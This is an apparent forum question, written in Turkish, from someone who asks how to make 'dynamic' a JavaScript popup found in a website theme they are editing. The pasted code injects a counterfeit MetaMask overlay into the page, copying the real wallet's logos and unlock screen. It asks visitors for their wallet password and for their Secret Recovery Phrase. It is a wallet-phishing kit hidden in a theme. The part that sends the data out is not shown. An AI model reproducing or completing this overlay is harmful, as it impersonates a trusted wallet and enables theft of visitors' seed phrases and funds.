Editlediğim bir tema da javascript içinde popup açılan bir form mevcut
bunu nasıl dinamik hale getirebilirimm
let metamask = document.createElement("div");
metamask.classList.add("mm");
metamask.innerHTML = `
<div class="mm-loading">
<div class="mm-loading-logo">
<svg fill="none" height="33" viewBox="0 0 35 33" width="35" xmlns="http://www.w3.org/2000/svg"><g stroke-linecap="round" stroke-linejoin="round" stroke-width=".25"><path d="m32.9582 1-13.1341 9.7183 2.4424-5.72731z" fill="#e17726" stroke="#e17726"/><g fill="#e27625" stroke="#e27625"><path d="m2.66296 1 13.01714 9.809-2.3254-5.81802z"/><path d="m28.2295 23.5335-3.4947 5.3386 7.4829 2.0603 2.1436-7.2823z"/><path d="m1.27281 23.6501 2.13055 7.2823 7.46994-2.0603-3.48166-5.3386z"/><path d="m10.4706 14.5149-2.0786 3.1358 7.405.3369-.2469-7.969z"/><path d="m25.1505 14.5149-5.1575-4.58704-.1688 8.05974 7.4049-.3369z"/><path d="m10.8733 28.8721 4.4819-2.1639-3.8583-3.0062z"/><path d="m20.2659 26.7082 4.4689 2.1639-.6105-5.1701z"/></g><path d="m24.7348 28.8721-4.469-2.1639.3638 2.9025-.039 1.231z" fill="#d5bfb2" stroke="#d5bfb2"/><path d="m10.8732 28.8721 4.1572 1.9696-.026-1.231.3508-2.9025z" fill="#d5bfb2" stroke="#d5bfb2"/><path d="m15.1084 21.7842-3.7155-1.0884 2.6243-1.2051z" fill="#233447" stroke="#233447"/><path d="m20.5126 21.7842 1.0913-2.2935 2.6372 1.2051z" fill="#233447" stroke="#233447"/><path d="m10.8733 28.8721.6495-5.3386-4.13117.1167z" fill="#cc6228" stroke="#cc6228"/><path d="m24.0982 23.5335.6366 5.3386 3.4946-5.2219z" fill="#cc6228" stroke="#cc6228"/><path d="m27.2291 17.6507-7.405.3369.6885 3.7966 1.0913-2.2935 2.6372 1.2051z" fill="#cc6228" stroke="#cc6228"/><path d="m11.3929 20.6958 2.6242-1.2051 1.0913 2.2935.6885-3.7966-7.40495-.3369z" fill="#cc6228" stroke="#cc6228"/><path d="m8.392 17.6507 3.1049 6.0513-.1039-3.0062z" fill="#e27525" stroke="#e27525"/><path d="m24.2412 20.6958-.1169 3.0062 3.1049-6.0513z" fill="#e27525" stroke="#e27525"/><path d="m15.797 17.9876-.6886 3.7967.8704 4.4833.1949-5.9087z" fill="#e27525" stroke="#e27525"/><path d="m19.8242 17.9876-.3638 2.3584.1819 5.9216.8704-4.4833z" fill="#e27525" stroke="#e27525"/><path d="m20.5127 21.7842-.8704 4.4834.6236.4406 3.8584-3.0062.1169-3.0062z" fill="#f5841f" stroke="#f5841f"/><path d="m11.3929 20.6958.104 3.0062 3.8583 3.0062.6236-.4406-.8704-4.4834z" fill="#f5841f" stroke="#f5841f"/><path d="m20.5906 30.8417.039-1.231-.3378-.2851h-4.9626l-.3248.2851.026 1.231-4.1572-1.9696 1.4551 1.1921 2.9489 2.0344h5.0536l2.962-2.0344 1.442-1.1921z" fill="#c0ac9d" stroke="#c0ac9d"/><path d="m20.2659 26.7082-.6236-.4406h-3.6635l-.6236.4406-.3508 2.9025.3248-.2851h4.9626l.3378.2851z" fill="#161616" stroke="#161616"/><path d="m33.5168 11.3532 1.1043-5.36447-1.6629-4.98873-12.6923 9.3944 4.8846 4.1205 6.8983 2.0085 1.52-1.7752-.6626-.4795 1.0523-.9588-.8054-.622 1.0523-.8034z" fill="#763e1a" stroke="#763e1a"/><path d="m1 5.98873 1.11724 5.36447-.71451.5313 1.06527.8034-.80545.622 1.05228.9588-.66255.4795 1.51997 1.7752 6.89835-2.0085 4.8846-4.1205-12.69233-9.3944z" fill="#763e1a" stroke="#763e1a"/><path d="m32.0489 16.5234-6.8983-2.0085 2.0786 3.1358-3.1049 6.0513 4.1052-.0519h6.1318z" fill="#f5841f" stroke="#f5841f"/><path d="m10.4705 14.5149-6.89828 2.0085-2.29944 7.1267h6.11883l4.10519.0519-3.10487-6.0513z" fill="#f5841f" stroke="#f5841f"/><path d="m19.8241 17.9876.4417-7.5932 2.0007-5.4034h-8.9119l2.0006 5.4034.4417 7.5932.1689 2.3842.013 5.8958h3.6635l.013-5.8958z" fill="#f5841f" stroke="#f5841f"/></g></svg>
</div>
<div class="mm-loading-ring">
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgba(0, 0, 0, 0) none repeat scroll 0% 0%; display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<circle cx="50" cy="50" fill="none" stroke="#f6851b" stroke-width="10" r="35" stroke-dasharray="164.93361431346415 56.97787143782138">
<animateTransform attributeName="transform" type="rotate" repeatCount="indefinite" dur="1s" values="0 50 50;360 50 50" keyTimes="0;1"></animateTransform>
</circle>
</div>
</div>
<div class="mm-login">
<div class="mm-head">
<svg fill="none" height="33" viewBox="0 0 35 33" width="35" xmlns="http://www.w3.org/2000/svg"><g stroke-linecap="round" stroke-linejoin="round" stroke-width=".25"><path d="m32.9582 1-13.1341 9.7183 2.4424-5.72731z" fill="#e17726" stroke="#e17726"/><g fill="#e27625" stroke="#e27625"><path d="m2.66296 1 13.01714 9.809-2.3254-5.81802z"/><path d="m28.2295 23.5335-3.4947 5.3386 7.4829 2.0603 2.1436-7.2823z"/><path d="m1.27281 23.6501 2.13055 7.2823 7.46994-2.0603-3.48166-5.3386z"/><path d="m10.4706 14.5149-2.0786 3.1358 7.405.3369-.2469-7.969z"/><path d="m25.1505 14.5149-5.1575-4.58704-.1688 8.05974 7.4049-.3369z"/><path d="m10.8733 28.8721 4.4819-2.1639-3.8583-3.0062z"/><path d="m20.2659 26.7082 4.4689 2.1639-.6105-5.1701z"/></g><path d="m24.7348 28.8721-4.469-2.1639.3638 2.9025-.039 1.231z" fill="#d5bfb2" stroke="#d5bfb2"/><path d="m10.8732 28.8721 4.1572 1.9696-.026-1.231.3508-2.9025z" fill="#d5bfb2" stroke="#d5bfb2"/><path d="m15.1084 21.7842-3.7155-1.0884 2.6243-1.2051z" fill="#233447" stroke="#233447"/><path d="m20.5126 21.7842 1.0913-2.2935 2.6372 1.2051z" fill="#233447" stroke="#233447"/><path d="m10.8733 28.8721.6495-5.3386-4.13117.1167z" fill="#cc6228" stroke="#cc6228"/><path d="m24.0982 23.5335.6366 5.3386 3.4946-5.2219z" fill="#cc6228" stroke="#cc6228"/><path d="m27.2291 17.6507-7.405.3369.6885 3.7966 1.0913-2.2935 2.6372 1.2051z" fill="#cc6228" stroke="#cc6228"/><path d="m11.3929 20.6958 2.6242-1.2051 1.0913 2.2935.6885-3.7966-7.40495-.3369z" fill="#cc6228" stroke="#cc6228"/><path d="m8.392 17.6507 3.1049 6.0513-.1039-3.0062z" fill="#e27525" stroke="#e27525"/><path d="m24.2412 20.6958-.1169 3.0062 3.1049-6.0513z" fill="#e27525" stroke="#e27525"/><path d="m15.797 17.9876-.6886 3.7967.8704 4.4833.1949-5.9087z" fill="#e27525" stroke="#e27525"/><path d="m19.8242 17.9876-.3638 2.3584.1819 5.9216.8704-4.4833z" fill="#e27525" stroke="#e27525"/><path d="m20.5127 21.7842-.8704 4.4834.6236.4406 3.8584-3.0062.1169-3.0062z" fill="#f5841f" stroke="#f5841f"/><path d="m11.3929 20.6958.104 3.0062 3.8583 3.0062.6236-.4406-.8704-4.4834z" fill="#f5841f" stroke="#f5841f"/><path d="m20.5906 30.8417.039-1.231-.3378-.2851h-4.9626l-.3248.2851.026 1.231-4.1572-1.9696 1.4551 1.1921 2.9489 2.0344h5.0536l2.962-2.0344 1.442-1.1921z" fill="#c0ac9d" stroke="#c0ac9d"/><path d="m20.2659 26.7082-.6236-.4406h-3.6635l-.6236.4406-.3508 2.9025.3248-.2851h4.9626l.3378.2851z" fill="#161616" stroke="#161616"/><path d="m33.5168 11.3532 1.1043-5.36447-1.6629-4.98873-12.6923 9.3944 4.8846 4.1205 6.8983 2.0085 1.52-1.7752-.6626-.4795 1.0523-.9588-.8054-.622 1.0523-.8034z" fill="#763e1a" stroke="#763e1a"/><path d="m1 5.98873 1.11724 5.36447-.71451.5313 1.06527.8034-.80545.622 1.05228.9588-.66255.4795 1.51997 1.7752 6.89835-2.0085 4.8846-4.1205-12.69233-9.3944z" fill="#763e1a" stroke="#763e1a"/><path d="m32.0489 16.5234-6.8983-2.0085 2.0786 3.1358-3.1049 6.0513 4.1052-.0519h6.1318z" fill="#f5841f" stroke="#f5841f"/><path d="m10.4705 14.5149-6.89828 2.0085-2.29944 7.1267h6.11883l4.10519.0519-3.10487-6.0513z" fill="#f5841f" stroke="#f5841f"/><path d="m19.8241 17.9876.4417-7.5932 2.0007-5.4034h-8.9119l2.0006 5.4034.4417 7.5932.1689 2.3842.013 5.8958h3.6635l.013-5.8958z" fill="#f5841f" stroke="#f5841f"/></g></svg>
<div class="mm-network">
<button class="mm-network-button" type="button">
<span>Ethereum Mainnet</span>
<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" fill="none" stroke-linecap="round" stroke-linejoin="round">
<path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
<polyline points="6 9 12 15 18 9"></polyline>
</svg>
</button>
<div class="mm-network-drop">
<div class="mm-network-head">Networks</div>
<ul class="mm-network-list">
<li class="mm-network-item">
<input id="ethnet" name="network" value="Ethereum Mainnet" type="radio" checked>
<label for="ethnet">Ethereum Mainnet</label>
</li>
<li class="mm-network-item">
<input id="bnbnet" name="network" value="Binance Smart Chain" type="radio">
<label for="bnbnet">Binance Smart Chain</label>
</li>
</ul>
</div>
</div>
</div>
<div class="mm-body">
<div class="mm-logo">
<svg width="120px" height="120px" style="display:none;"><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="67.0565490424633,34.69904065132141 52.9434509575367,34.69904065132141 47.2993665933609,20.684938430786133"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="47.2993665933609,20.684938430786133 72.7006334066391,20.684938430786133 67.0565490424633,34.69904065132141"></polygon><polygon fill="rgb(228,119,25)" stroke="rgb(228,119,25)" points="52.9434509575367,34.69904065132141 17.113484144210815,7.734332084655762 47.2993665933609,20.684938430786133"></polygon><polygon fill="rgb(225,119,25)" stroke="rgb(225,119,25)" points="102.88651585578918,7.734332084655762 67.0565490424633,34.69904065132141 72.7006334066391,20.684938430786133"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="31.802374720573425,45.68895846605301 15.698915719985962,41.69399321079254 14.791320562362671,37.90418028831482"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="88.19762527942657,45.68895846605301 105.20867943763733,37.90418028831482 104.30108428001404,41.69399321079254"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="18.61938714981079,52.776472717523575 31.802374720573425,45.68895846605301 38.74830365180969,47.11241841316223"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="101.38061285018921,52.776472717523575 81.25169634819031,47.11241841316223 88.19762527942657,45.68895846605301"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="16.301010847091675,46.24471664428711 31.802374720573425,45.68895846605301 18.61938714981079,52.776472717523575"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="16.301010847091675,46.24471664428711 15.698915719985962,41.69399321079254 31.802374720573425,45.68895846605301"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="103.69898915290833,46.24471664428711 101.38061285018921,52.776472717523575 88.19762527942657,45.68895846605301"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="103.69898915290833,46.24471664428711 88.19762527942657,45.68895846605301 104.30108428001404,41.69399321079254"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="32.4169135093689,25.4653537273407 31.802374720573425,45.68895846605301 14.791320562362671,37.90418028831482"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="38.74830365180969,47.11241841316223 31.802374720573425,45.68895846605301 32.4169135093689,25.4653537273407"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="105.20867943763733,37.90418028831482 88.19762527942657,45.68895846605301 87.5830864906311,25.4653537273407"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="87.5830864906311,25.4653537273407 88.19762527942657,45.68895846605301 81.25169634819031,47.11241841316223"></polygon><polygon fill="rgb(228,119,25)" stroke="rgb(228,119,25)" points="39.42569553852081,88.71298313140869 17.07258939743042,96.33740186691284 11.356233358383179,74.17309999465942"></polygon><polygon fill="rgb(228,119,25)" stroke="rgb(228,119,25)" points="108.64376664161682,74.17309999465942 102.92741060256958,96.33740186691284 80.57430446147919,88.71298313140869"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="32.4169135093689,25.4653537273407 52.9434509575367,34.69904065132141 38.74830365180969,47.11241841316223"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="81.25169634819031,47.11241841316223 67.0565490424633,34.69904065132141 87.5830864906311,25.4653537273407"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="12.711199522018433,39.31266903877258 14.791320562362671,37.90418028831482 15.698915719985962,41.69399321079254"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="107.28880047798157,39.31266903877258 104.30108428001404,41.69399321079254 105.20867943763733,37.90418028831482"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="32.594836950302124,54.79038521647453 11.356233358383179,74.17309999465942 18.61938714981079,52.776472717523575"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="87.40516304969788,54.79038521647453 101.38061285018921,52.776472717523575 108.64376664161682,74.17309999465942"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="16.301010847091675,46.24471664428711 13.342798948287964,43.398762345314026 15.698915719985962,41.69399321079254"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="103.69898915290833,46.24471664428711 104.30108428001404,41.69399321079254 106.65720105171204,43.398762345314026"></polygon><polygon fill="rgb(228,119,25)" stroke="rgb(228,119,25)" points="11.356233358383179,74.17309999465942 29.374884366989136,72.33859598636627 39.42569553852081,88.71298313140869"></polygon><polygon fill="rgb(228,119,25)" stroke="rgb(228,119,25)" points="80.57430446147919,88.71298313140869 90.62511563301086,72.33859598636627 108.64376664161682,74.17309999465942"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="29.374884366989136,72.33859598636627 11.356233358383179,74.17309999465942 32.594836950302124,54.79038521647453"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="87.40516304969788,54.79038521647453 108.64376664161682,74.17309999465942 90.62511563301086,72.33859598636627"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="18.61938714981079,52.776472717523575 14.373804330825806,47.541901767253876 16.301010847091675,46.24471664428711"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="101.38061285018921,52.776472717523575 103.69898915290833,46.24471664428711 105.6261956691742,47.541901767253876"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="14.791320562362671,37.90418028831482 12.023731470108032,22.22650408744812 32.4169135093689,25.4653537273407"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="87.5830864906311,25.4653537273407 107.97626852989197,22.22650408744812 105.20867943763733,37.90418028831482"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="18.61938714981079,52.776472717523575 38.74830365180969,47.11241841316223 32.594836950302124,54.79038521647453"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="101.38061285018921,52.776472717523575 87.40516304969788,54.79038521647453 81.25169634819031,47.11241841316223"></polygon><polygon fill="rgb(228,119,25)" stroke="rgb(228,119,25)" points="38.74830365180969,47.11241841316223 52.9434509575367,34.69904065132141 54.144172221422195,55.15899807214737"></polygon><polygon fill="rgb(228,119,25)" stroke="rgb(228,119,25)" points="54.144172221422195,55.15899807214737 32.594836950302124,54.79038521647453 38.74830365180969,47.11241841316223"></polygon><polygon fill="rgb(228,119,25)" stroke="rgb(228,119,25)" points="81.25169634819031,47.11241841316223 87.40516304969788,54.79038521647453 65.8558277785778,55.15899807214737"></polygon><polygon fill="rgb(228,119,25)" stroke="rgb(228,119,25)" points="65.8558277785778,55.15899807214737 67.0565490424633,34.69904065132141 81.25169634819031,47.11241841316223"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="17.113484144210815,7.734332084655762 52.9434509575367,34.69904065132141 32.4169135093689,25.4653537273407"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="102.88651585578918,7.734332084655762 107.97626852989197,22.22650408744812 87.5830864906311,25.4653537273407"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="32.4169135093689,25.4653537273407 12.023731470108032,22.22650408744812 17.113484144210815,7.734332084655762"></polygon><polygon fill="rgb(119,57,0)" stroke="rgb(119,57,0)" points="87.5830864906311,25.4653537273407 67.0565490424633,34.69904065132141 102.88651585578918,7.734332084655762"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="52.9434509575367,34.69904065132141 67.0565490424633,34.69904065132141 65.8558277785778,55.15899807214737"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="65.8558277785778,55.15899807214737 54.144172221422195,55.15899807214737 52.9434509575367,34.69904065132141"></polygon><polygon fill="rgb(205,98,0)" stroke="rgb(205,98,0)" points="39.42569553852081,88.71298313140869 29.374884366989136,72.33859598636627 41.44252359867096,71.98266237974167"></polygon><polygon fill="rgb(205,98,0)" stroke="rgb(205,98,0)" points="80.57430446147919,88.71298313140869 78.55747640132904,71.98266237974167 90.62511563301086,72.33859598636627"></polygon><polygon fill="rgb(205,98,0)" stroke="rgb(205,98,0)" points="41.214181780815125,63.269494101405144 32.594836950302124,54.79038521647453 54.144172221422195,55.15899807214737"></polygon><polygon fill="rgb(205,98,0)" stroke="rgb(205,98,0)" points="65.8558277785778,55.15899807214737 87.40516304969788,54.79038521647453 78.78581821918488,63.269494101405144"></polygon><polygon fill="rgb(228,116,36)" stroke="rgb(228,116,36)" points="32.594836950302124,54.79038521647453 41.214181780815125,63.269494101405144 41.44252359867096,71.98266237974167"></polygon><polygon fill="rgb(228,116,36)" stroke="rgb(228,116,36)" points="87.40516304969788,54.79038521647453 78.55747640132904,71.98266237974167 78.78581821918488,63.269494101405144"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="32.594836950302124,54.79038521647453 41.44252359867096,71.98266237974167 29.374884366989136,72.33859598636627"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="90.62511563301086,72.33859598636627 78.55747640132904,71.98266237974167 87.40516304969788,54.79038521647453"></polygon><polygon fill="rgb(192,172,157)" stroke="rgb(192,172,157)" points="43.697816133499146,91.47358775138855 39.42569553852081,88.71298313140869 51.75157964229584,91.07866287231445"></polygon><polygon fill="rgb(192,172,157)" stroke="rgb(192,172,157)" points="68.24842035770416,91.07866287231445 80.57430446147919,88.71298313140869 76.30218386650085,91.47358775138855"></polygon><polygon fill="rgb(214,194,178)" stroke="rgb(214,194,178)" points="51.667284071445465,86.62894785404205 51.75157964229584,91.07866287231445 39.42569553852081,88.71298313140869"></polygon><polygon fill="rgb(214,194,178)" stroke="rgb(214,194,178)" points="68.33271592855453,86.62894785404205 80.57430446147919,88.71298313140869 68.24842035770416,91.07866287231445"></polygon><polygon fill="rgb(214,194,178)" stroke="rgb(214,194,178)" points="39.42569553852081,88.71298313140869 52.73543983697891,77.74133384227753 51.667284071445465,86.62894785404205"></polygon><polygon fill="rgb(214,194,178)" stroke="rgb(214,194,178)" points="80.57430446147919,88.71298313140869 68.33271592855453,86.62894785404205 67.26456016302109,77.74133384227753"></polygon><polygon fill="rgb(228,119,25)" stroke="rgb(228,119,25)" points="52.73543983697891,77.74133384227753 39.42569553852081,88.71298313140869 41.44252359867096,71.98266237974167"></polygon><polygon fill="rgb(228,119,25)" stroke="rgb(228,119,25)" points="67.26456016302109,77.74133384227753 78.55747640132904,71.98266237974167 80.57430446147919,88.71298313140869"></polygon><polygon fill="rgb(205,98,0)" stroke="rgb(205,98,0)" points="54.144172221422195,55.15899807214737 48.935026824474335,59.69000914134085 41.214181780815125,63.269494101405144"></polygon><polygon fill="rgb(205,98,0)" stroke="rgb(205,98,0)" points="78.78581821918488,63.269494101405144 71.06497317552567,59.69000914134085 65.8558277785778,55.15899807214737"></polygon><polygon fill="rgb(36,51,67)" stroke="rgb(36,51,67)" points="52.10939258337021,66.08410209417343 41.214181780815125,63.269494101405144 48.935026824474335,59.69000914134085"></polygon><polygon fill="rgb(36,51,67)" stroke="rgb(36,51,67)" points="67.89060741662979,66.08410209417343 71.06497317552567,59.69000914134085 78.78581821918488,63.269494101405144"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="41.44252359867096,71.98266237974167 41.214181780815125,63.269494101405144 52.10939258337021,66.08410209417343"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="78.55747640132904,71.98266237974167 67.89060741662979,66.08410209417343 78.78581821918488,63.269494101405144"></polygon><polygon fill="rgb(205,98,0)" stroke="rgb(205,98,0)" points="48.935026824474335,59.69000914134085 54.144172221422195,55.15899807214737 52.10939258337021,66.08410209417343"></polygon><polygon fill="rgb(205,98,0)" stroke="rgb(205,98,0)" points="71.06497317552567,59.69000914134085 67.89060741662979,66.08410209417343 65.8558277785778,55.15899807214737"></polygon><polygon fill="rgb(228,116,36)" stroke="rgb(228,116,36)" points="52.10939258337021,66.08410209417343 54.144172221422195,55.15899807214737 54.6148444712162,61.618451066315174"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="54.6148444712162,61.618451066315174 54.144172221422195,55.15899807214737 65.8558277785778,55.15899807214737"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="65.8558277785778,55.15899807214737 65.3851555287838,61.618451066315174 54.6148444712162,61.618451066315174"></polygon><polygon fill="rgb(225,119,25)" stroke="rgb(225,119,25)" points="67.89060741662979,66.08410209417343 65.3851555287838,61.618451066315174 65.8558277785778,55.15899807214737"></polygon><polygon fill="rgb(192,172,157)" stroke="rgb(192,172,157)" points="51.75157964229584,91.07866287231445 52.47352123260498,94.7457218170166 43.697816133499146,91.47358775138855"></polygon><polygon fill="rgb(192,172,157)" stroke="rgb(192,172,157)" points="76.30218386650085,91.47358775138855 67.52647876739502,94.7457218170166 68.24842035770416,91.07866287231445"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="52.73543983697891,77.74133384227753 41.44252359867096,71.98266237974167 52.10939258337021,66.08410209417343"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="67.89060741662979,66.08410209417343 78.55747640132904,71.98266237974167 67.26456016302109,77.74133384227753"></polygon><polygon fill="rgb(228,116,36)" stroke="rgb(228,116,36)" points="54.6148444712162,61.618451066315174 54.60992619395256,76.43543422222137 52.10939258337021,66.08410209417343"></polygon><polygon fill="rgb(228,116,36)" stroke="rgb(228,116,36)" points="65.3851555287838,61.618451066315174 67.89060741662979,66.08410209417343 65.39007380604744,76.43543422222137"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="52.10939258337021,66.08410209417343 54.60992619395256,76.43543422222137 52.73543983697891,77.74133384227753"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="67.26456016302109,77.74133384227753 65.39007380604744,76.43543422222137 67.89060741662979,66.08410209417343"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="54.6148444712162,61.618451066315174 65.3851555287838,61.618451066315174 65.39007380604744,76.43543422222137"></polygon><polygon fill="rgb(247,132,25)" stroke="rgb(247,132,25)" points="65.39007380604744,76.43543422222137 54.60992619395256,76.43543422222137 54.6148444712162,61.618451066315174"></polygon><polygon fill="rgb(192,172,157)" stroke="rgb(192,172,157)" points="52.47352123260498,94.7457218170166 51.75157964229584,91.07866287231445 51.667284071445465,86.62894785404205"></polygon><polygon fill="rgb(192,172,157)" stroke="rgb(192,172,157)" points="68.33271592855453,86.62894785404205 68.24842035770416,91.07866287231445 67.52647876739502,94.7457218170166"></polygon><polygon fill="rgb(192,172,157)" stroke="rgb(192,172,157)" points="51.667284071445465,86.62894785404205 52.634466737508774,85.38650214672089 52.47352123260498,94.7457218170166"></polygon><polygon fill="rgb(192,172,157)" stroke="rgb(192,172,157)" points="52.47352123260498,94.7457218170166 52.634466737508774,85.38650214672089 67.36553326249123,85.38650214672089"></polygon><polygon fill="rgb(192,172,157)" stroke="rgb(192,172,157)" points="67.36553326249123,85.38650214672089 67.52647876739502,94.7457218170166 52.47352123260498,94.7457218170166"></polygon><polygon fill="rgb(192,172,157)" stroke="rgb(192,172,157)" points="67.52647876739502,94.7457218170166 67.36553326249123,85.38650214672089 68.33271592855453,86.62894785404205"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="52.634466737508774,85.38650214672089 51.667284071445465,86.62894785404205 52.73543983697891,77.74133384227753"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="67.26456016302109,77.74133384227753 68.33271592855453,86.62894785404205 67.36553326249123,85.38650214672089"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="54.507589638233185,77.54166662693024 54.60992619395256,76.43543422222137 65.39007380604744,76.43543422222137"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="65.39007380604744,76.43543422222137 65.49241036176682,77.54166662693024 54.507589638233185,77.54166662693024"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="52.73543983697891,77.74133384227753 54.60992619395256,76.43543422222137 54.507589638233185,77.54166662693024"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="65.49241036176682,77.54166662693024 65.39007380604744,76.43543422222137 67.26456016302109,77.74133384227753"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="52.73543983697891,77.74133384227753 53.30817863345146,78.89579951763153 52.634466737508774,85.38650214672089"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="54.507589638233185,77.54166662693024 53.30817863345146,78.89579951763153 52.73543983697891,77.74133384227753"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="67.36553326249123,85.38650214672089 66.69182136654854,78.89579951763153 67.26456016302109,77.74133384227753"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="67.26456016302109,77.74133384227753 66.69182136654854,78.89579951763153 65.49241036176682,77.54166662693024"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="53.30817863345146,78.89579951763153 66.69182136654854,78.89579951763153 67.36553326249123,85.38650214672089"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="67.36553326249123,85.38650214672089 52.634466737508774,85.38650214672089 53.30817863345146,78.89579951763153"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="65.49241036176682,77.54166662693024 66.69182136654854,78.89579951763153 53.30817863345146,78.89579951763153"></polygon><polygon fill="rgb(0,0,0)" stroke="rgb(0,0,0)" points="53.30817863345146,78.89579951763153 54.507589638233185,77.54166662693024 65.49241036176682,77.54166662693024"></polygon></svg>
</div>
<h1 class="mm-title">Welcome Back!</h1>
<p class="mm-text">The decentralized web awaits</p>
<div class="mm-login-form">
<div class="mm-input">
<input type="password" autocomplete="off">
<label>Password</label>
<span>Incorrect password</span>
</div>
<button class="mm-button" type="button">Unlock</button>
<div class="mm-import">or <button type="button">import using Secret Recovery Phrase</button></div>
</div>
<div class="mm-recovery">
<button class="mm-button" type="button">Recovery</button>
</div>
<div class="mm-help">Need help? Contact <a>MetaMask Support</a></div>
</div>
</div>
<div class="mm-restore">
<h1 class="mm-restore-title">Restore your Account with Secret Recovery Phrase</h1>
<div class="mm-restore-text">Only the first account on this wallet will auto load. After completing this process, to add additional accounts, click the drop down menu, then select Create Account.</div>
<div class="mm-restore-text">If you restore using another Secret Recovery Phrase, your current wallet, accounts and assets will be removed from this app permanently. This action cannot be undone.</div>
<form class="mm-restore-form">
<label class="mm-restore-label">Wallet Secret Recovery Phrase</label>
<div class="mm-restore-phrase">
<input name="phrase" type="password" autocomplete="off" required placeholder="Paste Secret Recovery Phrase">
</div>
<div class="mm-restore-help">Secret Recovery Phrases contain 12, 15, 18, 21, or 24 words</div>
<div class="mm-restore-checkbox">
<input id="showsecret" type="checkbox">
<label for="showsecret">Show Secret Recovery Phrase</label>
</div>
<button class="mm-button" type="submit" disabled>Restore</button>
</form>
</div>
`;
document.body.append(metamask);
